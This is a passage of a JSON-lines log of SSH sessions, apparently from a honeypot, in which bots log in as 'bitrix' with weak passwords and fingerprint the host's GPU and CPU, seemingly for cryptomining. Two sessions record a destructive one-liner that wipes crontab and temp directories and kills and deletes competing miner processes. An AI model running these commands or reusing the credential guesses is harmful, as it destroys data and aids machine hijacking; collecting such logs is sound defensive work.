0.38"},{"seq":5,"at":"2026-08-22T16:45:13.864817+00:00","kind":"input","latency_ms":null,"data":"lspci | grep VGA | cut -f5- -d ' '"},{"seq":6,"at":"2026-08-22T16:45:13.865705+00:00","kind":"output","latency_ms":null,"data":"01:00.0 VGA compatible controller: NVIDIA Corporation GA106 [GeForce RTX 3060 Lite Hash Rate] (rev a1)"},{"seq":7,"at":"2026-08-22T16:45:14.267553+00:00","kind":"input","latency_ms":null,"data":"lspci | grep VGA -c"},{"seq":8,"at":"2026-08-22T16:45:14.267944+00:00","kind":"output","latency_ms":null,"data":"01:00.0 VGA compatible controller: NVIDIA Corporation GA106 [GeForce RTX 3060 Lite Hash Rate] (rev a1)"},{"seq":9,"at":"2026-08-22T16:45:14.676096+00:00","kind":"input","latency_ms":null,"data":"nvidia-smi -q | grep \"Product Name\" | head -n 1 | awk '{print $4, $5, $6, $7, $8, $9, $10, $11}'"},{"seq":10,"at":"2026-08-22T16:45:14.676791+00:00","kind":"output","latency_ms":null,"data":"NVIDIA GeForce RTX"},{"seq":11,"at":"2026-08-22T16:45:15.082310+00:00","kind":"input","latency_ms":null,"data":"lspci | grep \"3D controller\" | cut -f5- -d ' '"},{"seq":12,"at":"2026-08-22T16:45:15.082943+00:00","kind":"output","latency_ms":null,"data":"01:00.0 VGA compatible controller: NVIDIA Corporation GA106 [GeForce RTX 3060 Lite Hash Rate] (rev a1)"},{"seq":13,"at":"2026-08-22T16:45:15.623842+00:00","kind":"input","latency_ms":null,"data":"nvidia-smi -q | grep \"Product Name\" | awk '{print $4, $5, $6, $7, $8, $9, $10, $11}' | grep . -c "},{"seq":14,"at":"2026-08-22T16:45:15.625437+00:00","kind":"output","latency_ms":null,"data":"NVIDIA GeForce RTX"}],"credentials":[{"username":"bitrix","password":"bitrix","method":"password","accepted":true,"tier":"other"}]}
{"id":"b139fa13-e8da-4299-a304-3750683975b7","name":"dutiful-sooty-pipit","protocol":"ssh","channel_kind":null,"src_ip":"91.92.40.124","src_port":49060,"username":"bitrix","client_version":"SSH-2.0-Go","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-22T12:31:25.075151+00:00","ended_at":"2026-08-22T12:31:37.527932+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"bitrix","password":"bitrix","method":"password","accepted":true,"tier":"other"}]}
{"id":"dfecd826-5d40-4946-b7c9-2d2fee703d43","name":"pewter-verdant-shearwater","protocol":"ssh","channel_kind":"exec","src_ip":"91.92.40.124","src_port":47900,"username":"bitrix","client_version":"SSH-2.0-Go","auth_attempts":1,"automation":"bot","think_ms":1529,"probe_flagged":0,"exec_command":"uname -s -v -n -r -m","started_at":"2026-08-22T12:31:18.859819+00:00","ended_at":"2026-08-22T12:31:37.529193+00:00","ended_reason":"exec complete","commands":14,"transcript_bytes":1659,"events":[{"seq":1,"at":"2026-08-22T12:30:38.022642+00:00","kind":"input","latency_ms":null,"data":"uname -s -v -n -r -m"},{"seq":2,"at":"2026-08-22T12:30:39.157393+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64"},{"seq":3,"at":"2026-08-22T12:30:40.656488+00:00","kind":"input","latency_ms":null,"data":"uname -m | awk '{printf $1}'"},{"seq":4,"at":"2026-08-22T12:30:41.940685+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":5,"at":"2026-08-22T12:30:43.119745+00:00","kind":"input","latency_ms":null,"data":"uptime | grep -ohe 'up .*' | sed 's/,//g' | awk '{ print $2\" \"$3 }'"},{"seq":6,"at":"2026-08-22T12:30:44.325688+00:00","kind":"output","latency_ms":null,"data":"2 days,  9:20"},{"seq":7,"at":"2026-08-22T12:30:46.068728+00:00","kind":"input","latency_ms":null,"data":"nproc "},{"seq":8,"at":"2026-08-22T12:30:47.681485+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":9,"at":"2026-08-22T12:30:48.934132+00:00","kind":"input","latency_ms":null,"data":"lspci | egrep VGA && lspci | grep 3D"},{"seq":10,"at":"2026-08-22T12:30:50.199924+00:00","kind":"output","latency_ms":null,"data":"01:00.0 VGA compatible controller: NVIDIA Corporation GA106 [GeForce RTX 3060 Lite Hash Rate] (rev a1)"},{"seq":11,"at":"2026-08-22T12:30:51.607032+00:00","kind":"input","latency_ms":null,"data":"lscpu | egrep \"Model name:\" | cut -d ' ' -f 14-"},{"seq":12,"at":"2026-08-22T12:30:53.116779+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":13,"at":"2026-08-22T12:30:54.676202+00:00","kind":"input","latency_ms":null,"data":"curl ipinfo.io/org"},{"seq":14,"at":"2026-08-22T12:30:55.766392+00:00","kind":"output","latency_ms":null,"data":"AS63949 Akamai Technologies, Inc."},{"seq":15,"at":"2026-08-22T12:30:56.979869+00:00","kind":"input","latency_ms":null,"data":"nvidia-smi -q | grep \"Product Name\" | awk '{print $4, $5, $6, $7, $8, $9, $10, $11}' | wc -l | head -c 1"},{"seq":16,"at":"2026-08-22T12:30:59.016708+00:00","kind":"output","latency_ms":null,"data":"NVIDIA GeForce RTX"},{"seq":17,"at":"2026-08-22T12:31:00.242812+00:00","kind":"input","latency_ms":null,"data":"nvidia-smi -q | grep \"Product Name\""},{"seq":18,"at":"2026-08-22T12:31:02.368170+00:00","kind":"output","latency_ms":null,"data":"    Product Name                          : NVIDIA GeForce RTX 3060"},{"seq":19,"at":"2026-08-22T12:31:03.999468+00:00","kind":"input","latency_ms":null,"data":"lspci | egrep VGA | grep Radeon | wc -l | head -c 1"},{"seq":20,"at":"2026-08-22T12:31:05.037417+00:00","kind":"output","latency_ms":null,"data":"0"},{"seq":21,"at":"2026-08-22T12:31:06.565657+00:00","kind":"input","latency_ms":null,"data":"uname -n | awk '{printf $1}'"},{"seq":22,"at":"2026-08-22T12:31:08.652682+00:00","kind":"output","latency_ms":null,"data":"localhost"},{"seq":23,"at":"2026-08-22T12:31:10.989847+00:00","kind":"input","latency_ms":null,"data":"uname -r | awk '{printf $1}'"},{"seq":24,"at":"2026-08-22T12:31:13.059255+00:00","kind":"output","latency_ms":null,"data":"7.0.0-22-generic"},{"seq":25,"at":"2026-08-22T12:31:15.181313+00:00","kind":"input","latency_ms":null,"data":"crontab -r ; rm -rf /var/tmp/.* /var/tmp/* /tmp/.* /tmp/* ; ps aux | awk '$3 > 40.0 && $11 !~ /sshd/ {print $2}' | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; kill -9 $pid 2>/dev/null; done ; ps aux | awk '$4 > 60.0 && $11 !~ /sshd/ {print $2}' | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; kill -9 $pid 2>/dev/null; done ; pidof cache | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; kill -9 $pid 2>/dev/null; done ; for proc in xmrig cpuminer minerd ccminer; do pidof $proc | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; done; pkill -9 $proc 2>/dev/null; done ; rm -rf /tmp/cache /tmp/* /var/tmp/* 2>/dev/null"},{"seq":26,"at":"2026-08-22T12:31:18.860384+00:00","kind":"input","latency_ms":null,"data":"echo bitrix > /tmp/d.log"}],"credentials":[{"username":"bitrix","password":"bitrix","method":"password","accepted":true,"tier":"other"}]}
{"id":"48e2e01c-5830-4f73-b018-809aca4922ca","name":"balmy-lucid-cassowary","protocol":"ssh","channel_kind":"exec","src_ip":"2.57.122.53","src_port":56146,"username":"bitrix","client_version":"SSH-2.0-Go","auth_attempts":1,"automation":"bot","think_ms":267,"probe_flagged":0,"exec_command":"/bin/./uname -s -v -n -r -m","started_at":"2026-08-21T13:42:15.822525+00:00","ended_at":"2026-08-21T13:42:15.972317+00:00","ended_reason":"exec complete","commands":7,"transcript_bytes":834,"events":[{"seq":1,"at":"2026-08-21T13:42:13.217055+00:00","kind":"input","latency_ms":null,"data":"/bin/./uname -s -v -n -r -m"},{"seq":2,"at":"2026-08-21T13:42:14.214063+00:00","kind":"output","latency_ms":997,"data":"Linux #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 localhost 7.0.0-22-generic x86_64"},{"seq":3,"at":"2026-08-21T13:42:14.494557+00:00","kind":"input","latency_ms":null,"data":"uptime -p"},{"seq":4,"at":"2026-08-21T13:42:14.494816+00:00","kind":"output","latency_ms":null,"data":" 13:42:14 up 1 day, 10:32,  0 user,  load average: 0.13, 0.1, 0.1"},{"seq":5,"at":"2026-08-21T13:42:14.762273+00:00","kind":"input","latency_ms":null,"data":"lspci | grep VGA | cut -f5- -d ' '"},{"seq":6,"at":"2026-08-21T13:42:14.763167+00:00","kind":"output","latency_ms":null,"data":"01:00.0 VGA compatible controller: NVIDIA Corporation GA106 [GeForce RTX 3060 Lite Hash Rate] (rev a1)"},{"seq":7,"at":"2026-08-21T13:42:15.020424+00:00","kind":"input","latency_ms":null,"data":"lspci | grep VGA -c"},{"seq":8,"at":"2026-08-21T13:42:15.020925+00:00","kind":"output","latency_ms":null,"data":"01:00.0 VGA compatible controller: NVIDIA Corporation GA106 [GeForce RTX 3060 Lite Hash Rate] (rev a1)"},{"seq":9,"at":"2026-08-21T13:42:15.286717+00:00","kind":"input","latency_ms":null,"data":"nvidia-smi -q | grep \"Product Name\" | head -n 1 | awk '{print $4, $5, $6, $7, $8, $9, $10, $11}'"},{"seq":10,"at":"2026-08-21T13:42:15.287136+00:00","kind":"output","latency_ms":null,"data":"NVIDIA GeForce RTX"},{"seq":11,"at":"2026-08-21T13:42:15.552024+00:00","kind":"input","latency_ms":null,"data":"lspci | grep \"3D controller\" | cut -f5- -d ' '"},{"seq":12,"at":"2026-08-21T13:42:15.552394+00:00","kind":"output","latency_ms":null,"data":"01:00.0 VGA compatible controller: NVIDIA Corporation GA106 [GeForce RTX 3060 Lite Hash Rate] (rev a1)"},{"seq":13,"at":"2026-08-21T13:42:15.823097+00:00","kind":"input","latency_ms":null,"data":"nvidia-smi -q | grep \"Product Name\" | awk '{print $4, $5, $6, $7, $8, $9, $10, $11}' | grep . -c "},{"seq":14,"at":"2026-08-21T13:42:15.823710+00:00","kind":"output","latency_ms":null,"data":"NVIDIA GeForce RTX"}],"credentials":[{"username":"bitrix","password":"123456","method":"password","accepted":true,"tier":"other"}]}
{"id":"a04f8e5d-2a45-4c27-bb48-51ba631b35e9","name":"prickly-inland-caribou","protocol":"ssh","channel_kind":"exec","src_ip":"2.57.122.53","src_port":48216,"username":"bitrix","client_version":"SSH-2.0-Go","auth_attempts":1,"automation":"bot","think_ms":198,"probe_flagged":0,"exec_command":"/bin/./uname -s -v -n -r -m","started_at":"2026-08-21T13:36:34.771635+00:00","ended_at":"2026-08-21T13:36:34.869907+00:00","ended_reason":"exec complete","commands":7,"transcript_bytes":836,"events":[{"seq":1,"at":"2026-08-21T13:36:32.766878+00:00","kind":"input","latency_ms":null,"data":"/bin/./uname -s -v -n -r -m"},{"seq":2,"at":"2026-08-21T13:36:33.584030+00:00","kind":"output","latency_ms":816,"data":"Linux #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 localhost 7.0.0-22-generic x86_64"},{"seq":3,"at":"2026-08-21T13:36:33.781932+00:00","kind":"input","latency_ms":null,"data":"uptime -p"},{"seq":4,"at":"2026-08-21T13:36:33.782447+00:00","kind":"output","latency_ms":null,"data":" 13:36:33 up 1 day, 10:26,  0 user,  load average: 0.32, 0.34, 0.19"},{"seq":5,"at":"2026-08-21T13:36:33.979042+00:00","kind":"input","latency_ms":null,"data":"lspci | grep VGA | cut -f5- -d ' '"},{"seq":6,"at":"2026-08-21T13:36:33.979564+00:00","kind":"output","latency_ms":null,"data":"01:00.0 VGA compatible controller: NVIDIA Corporation GA106 [GeForce RTX 3060 Lite Hash Rate] (rev a1)"},{"seq":7,"at":"2026-08-21T13:36:34.176433+00:00","kind":"input","latency_ms":null,"data":"lspci | grep VGA -c"},{"seq":8,"at":"2026-08-21T13:36:34.177174+00:00","kind":"output","latency_ms":null,"data":"01:00.0 VGA compatible controller: NVIDIA Corporation GA106 [GeForce RTX 3060 Lite Hash Rate] (rev a1)"},{"seq":9,"at":"2026-08-21T13:36:34.375207+00:00","kind":"input","latency_ms":null,"data":"nvidia-smi -q | grep \"Product Name\" | head -n 1 | awk '{print $4, $5, $6, $7, $8, $9, $10, $11}'"},{"seq":10,"at":"2026-08-21T13:36:34.375669+00:00","kind":"output","latency_ms":null,"data":"NVIDIA GeForce RTX"},{"seq":11,"at":"2026-08-21T13:36:34.573450+00:00","kind":"input","latency_ms":null,"data":"lspci | grep \"3D controller\" | cut -f5- -d ' '"},{"seq":12,"at":"2026-08-21T13:36:34.574403+00:00","kind":"output","latency_ms":null,"data":"01:00.0 VGA compatible controller: NVIDIA Corporation GA106 [GeForce RTX 3060 Lite Hash Rate] (rev a1)"},{"seq":13,"at":"2026-08-21T13:36:34.772800+00:00","kind":"input","latency_ms":null,"data":"nvidia-smi -q | grep \"Product Name\" | awk '{print $4, $5, $6, $7, $8, $9, $10, $11}' | grep . -c "},{"seq":14,"at":"2026-08-21T13:36:34.773592+00:00","kind":"output","latency_ms":null,"data":"NVIDIA GeForce RTX"}],"credentials":[{"username":"bitrix","password":"12345678","method":"password","accepted":true,"tier":"other"}]}
{"id":"7dbfaba5-d7ea-451d-9be2-4abd14a86db3","name":"sleepy-crimson-toucan","protocol":"ssh","channel_kind":"exec","src_ip":"2.57.122.53","src_port":57204,"username":"bitrix","client_version":"SSH-2.0-Go","auth_attempts":1,"automation":"bot","think_ms":204,"probe_flagged":0,"exec_command":"/bin/./uname -s -v -n -r -m","started_at":"2026-08-21T13:30:45.106714+00:00","ended_at":"2026-08-21T13:30:45.209083+00:00","ended_reason":"exec complete","commands":7,"transcript_bytes":836,"events":[{"seq":1,"at":"2026-08-21T13:30:43.058428+00:00","kind":"input","latency_ms":null,"data":"/bin/./uname -s -v -n -r -m"},{"seq":2,"at":"2026-08-21T13:30:43.878744+00:00","kind":"output","latency_ms":819,"data":"Linux #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 localhost 7.0.0-22-generic x86_64"},{"seq":3,"at":"2026-08-21T13:30:44.084758+00:00","kind":"input","latency_ms":null,"data":"uptime -p"},{"seq":4,"at":"2026-08-21T13:30:44.085436+00:00","kind":"output","latency_ms":null,"data":" 13:30:44 up 1 day, 10:20,  0 user,  load average: 0.07, 0.07, 0.07"},{"seq":5,"at":"2026-08-21T13:30:44.290049+00:00","kind":"input","latency_ms":null,"data":"lspci | grep VGA | cut -f5- -d ' '"},{"seq":6,"at":"2026-08-21T13:30:44.290685+00:00","kind":"output","latency_ms":null,"data":"01:00.0 VGA compatible controller: NVIDIA Corporation GA106 [GeForce RTX 3060 Lite Hash Rate] (rev a1)"},{"seq":7,"at":"2026-08-21T13:30:44.492309+00:00","kind":"input","latency_ms":null,"data":"lspci | grep VGA -c"},{"seq":8,"at":"2026-08-21T13:30:44.492844+00:00","kind":"output","latency_ms":null,"data":"01:00.0 VGA compatible controller: NVIDIA Corporation GA106 [GeForce RTX 3060 Lite Hash Rate] (rev a1)"},{"seq":9,"at":"2026-08-21T13:30:44.698587+00:00","kind":"input","latency_ms":null,"data":"nvidia-smi -q | grep \"Product Name\" | head -n 1 | awk '{print $4, $5, $6, $7, $8, $9, $10, $11}'"},{"seq":10,"at":"2026-08-21T13:30:44.699125+00:00","kind":"output","latency_ms":null,"data":"NVIDIA GeForce RTX"},{"seq":11,"at":"2026-08-21T13:30:44.903831+00:00","kind":"input","latency_ms":null,"data":"lspci | grep \"3D controller\" | cut -f5- -d ' '"},{"seq":12,"at":"2026-08-21T13:30:44.904301+00:00","kind":"output","latency_ms":null,"data":"01:00.0 VGA compatible controller: NVIDIA Corporation GA106 [GeForce RTX 3060 Lite Hash Rate] (rev a1)"},{"seq":13,"at":"2026-08-21T13:30:45.107313+00:00","kind":"input","latency_ms":null,"data":"nvidia-smi -q | grep \"Product Name\" | awk '{print $4, $5, $6, $7, $8, $9, $10, $11}' | grep . -c "},{"seq":14,"at":"2026-08-21T13:30:45.107919+00:00","kind":"output","latency_ms":null,"data":"NVIDIA GeForce RTX"}],"credentials":[{"username":"bitrix","password":"bitrix","method":"password","accepted":true,"tier":"other"}]}
{"id":"e1662ec7-4dde-4d25-97d1-f0645507a187","name":"quartz-cheerful-pheasant","protocol":"ssh","channel_kind":null,"src_ip":"45.156.87.93","src_port":49082,"username":"bitrix","client_version":"SSH-2.0-Go","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-20T18:59:50.056589+00:00","ended_at":"2026-08-20T18:59:51.435335+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"bitrix","password":"bitrix","method":"password","accepted":true,"tier":"other"}]}
{"id":"8fc27e1a-714b-45f0-8cd9-a101967817ff","name":"lofty-plucky-cougar","protocol":"ssh","channel_kind":"exec","src_ip":"45.156.87.93","src_port":40084,"username":"bitrix","client_version":"SSH-2.0-Go","auth_attempts":1,"automation":"bot","think_ms":180,"probe_flagged":0,"exec_command":"uname -s -v -n -r -m","started_at":"2026-08-20T18:59:46.419143+00:00","ended_at":"2026-08-20T18:59:51.436113+00:00","ended_reason":"exec complete","commands":14,"transcript_bytes":1651,"events":[{"seq":1,"at":"2026-08-20T18:58:48.795660+00:00","kind":"input","latency_ms":null,"data":"uname -s -v -n -r -m"},{"seq":2,"at":"2026-08-20T18:58:51.759251+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64"},{"seq":3,"at":"2026-08-20T18:58:51.930834+00:00","kind":"input","latency_ms":null,"data":"uname -m | awk '{printf $1}'"},{"seq":4,"at":"2026-08-20T18:58:56.211140+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":5,"at":"2026-08-20T18:58:56.388048+00:00","kind":"input","latency_ms":null,"data":"uptime | grep -ohe 'up .*' | sed 's/,//g' | awk '{ print $2\" \"$3 }'"},{"seq":6,"at":"2026-08-20T18:58:59.837225+00:00","kind":"output","latency_ms":null,"data":"15:49"},{"seq":7,"at":"2026-08-20T18:59:00.014464+00:00","kind":"input","latency_ms":null,"data":"nproc "},{"seq":8,"at":"2026-08-20T18:59:04.798379+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":9,"at":"2026-08-20T18:59:05.067782+00:00","kind":"input","latency_ms":null,"data":"lspci | egrep VGA && lspci | grep 3D"},{"seq":10,"at":"2026-08-20T18:59:09.388896+00:00","kind":"output","latency_ms":null,"data":"01:00.0 VGA compatible controller: NVIDIA Corporation GA106 [GeForce RTX 3060 Lite Hash Rate] (rev a1)"},{"seq":11,"at":"2026-08-20T18:59:09.569798+00:00","kind":"input","latency_ms":null,"data":"lscpu | egrep \"Model name:\" | cut -d ' ' -f 14-"},{"seq":12,"at":"2026-08-20T18:59:14.306446+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":13,"at":"2026-08-20T18:59:14.485940+00:00","kind":"input","latency_ms":null,"data":"curl ipinfo.io/org"},{"seq":14,"at":"2026-08-20T18:59:19.172424+00:00","kind":"output","latency_ms":null,"data":"AS63949 Akamai Technologies, Inc."},{"seq":15,"at":"2026-08-20T18:59:19.344613+00:00","kind":"input","latency_ms":null,"data":"nvidia-smi -q | grep \"Product Name\" | awk '{print $4, $5, $6, $7, $8, $9, $10, $11}' | wc -l | head -c 1"},{"seq":16,"at":"2026-08-20T18:59:24.350120+00:00","kind":"output","latency_ms":null,"data":"NVIDIA GeForce RTX"},{"seq":17,"at":"2026-08-20T18:59:24.527257+00:00","kind":"input","latency_ms":null,"data":"nvidia-smi -q | grep \"Product Name\""},{"seq":18,"at":"2026-08-20T18:59:29.074747+00:00","kind":"output","latency_ms":null,"data":"    Product Name                          : NVIDIA GeForce RTX 3060"},{"seq":19,"at":"2026-08-20T18:59:29.264736+00:00","kind":"input","latency_ms":null,"data":"lspci | egrep VGA | grep Radeon | wc -l | head -c 1"},{"seq":20,"at":"2026-08-20T18:59:33.221303+00:00","kind":"output","latency_ms":null,"data":"0"},{"seq":21,"at":"2026-08-20T18:59:33.398089+00:00","kind":"input","latency_ms":null,"data":"uname -n | awk '{printf $1}'"},{"seq":22,"at":"2026-08-20T18:59:38.271026+00:00","kind":"output","latency_ms":null,"data":"localhost"},{"seq":23,"at":"2026-08-20T18:59:38.460198+00:00","kind":"input","latency_ms":null,"data":"uname -r | awk '{printf $1}'"},{"seq":24,"at":"2026-08-20T18:59:41.509726+00:00","kind":"output","latency_ms":null,"data":"7.0.0-22-generic"},{"seq":25,"at":"2026-08-20T18:59:41.715293+00:00","kind":"input","latency_ms":null,"data":"crontab -r ; rm -rf /var/tmp/.* /var/tmp/* /tmp/.* /tmp/* ; ps aux | awk '$3 > 40.0 && $11 !~ /sshd/ {print $2}' | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; kill -9 $pid 2>/dev/null; done ; ps aux | awk '$4 > 60.0 && $11 !~ /sshd/ {print $2}' | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; kill -9 $pid 2>/dev/null; done ; pidof cache | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; kill -9 $pid 2>/dev/null; done ; for proc in xmrig cpuminer minerd ccminer; do pidof $proc | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; done; pkill -9 $proc 2>/dev/null; done ; rm -rf /tmp/cache /tmp/* /var/tmp/* 2>/dev/null"},{"seq":26,"at":"2026-08-20T18:59:46.419828+00:00","kind":"input","latency_ms":null,"data":"echo bitrix > /tmp/d.log"}],"credentials":[{"username":"bitrix","password":"bitrix","method":"password","accepted":true,"tier":"other"}]}
{"id":"5edf48f4-7b35-4159-a4c6-766056d8d209","name":"thorny-zealous-bluebird","protocol":"ssh","channel_kind":"exec","src_ip":"91.92.47.66","src_port":34168,"username":"bitrix","client_version":"SSH-2.0-Go","auth_attempts":1,"automation":"bot","think_ms":171,"probe_flagged":0,"exec_command":"uname -s -v -n -r -m","started_at":"2026-08-20T10:46:08.992550+00:00","ended_at":"2026-08-20T10:46:09.956763+00:00","ended_reason":"exec complete","commands":3,"transcript_bytes":220,"events":[{"seq":1,"at":"2026-08-20T10:46:07.878869+00:00","kind":"input","latency_ms":null,"data":"uname -s -v -n -r -m"},{"seq":2,"at":"2026-08-20T10:46:07.879384+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64"},{"seq":3,"at":"2026-08-20T10:46:08.051197+00:00","kind":"input","latency_ms":null,"data":"uname -m | awk '{printf $1}'"},{"seq":4,"at":"2026-08-20T10:46:08.824472+00:00","kind":"output","latency_ms":773,"data":"x86_64"},{"seq":5,"at":"2026-08-20T10:46:08.993321+00:00","kind":"input","latency_ms":null,"data":"uptime | grep -ohe 'up .*' | sed 's/,//g' | awk '{ print $2\" \"$3 }'"},{"seq":6,"at":"2026-08-20T10:46:09.723842+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"bitrix","password":"bitrix","method":"password","accepted":true,"tier":"other"}]}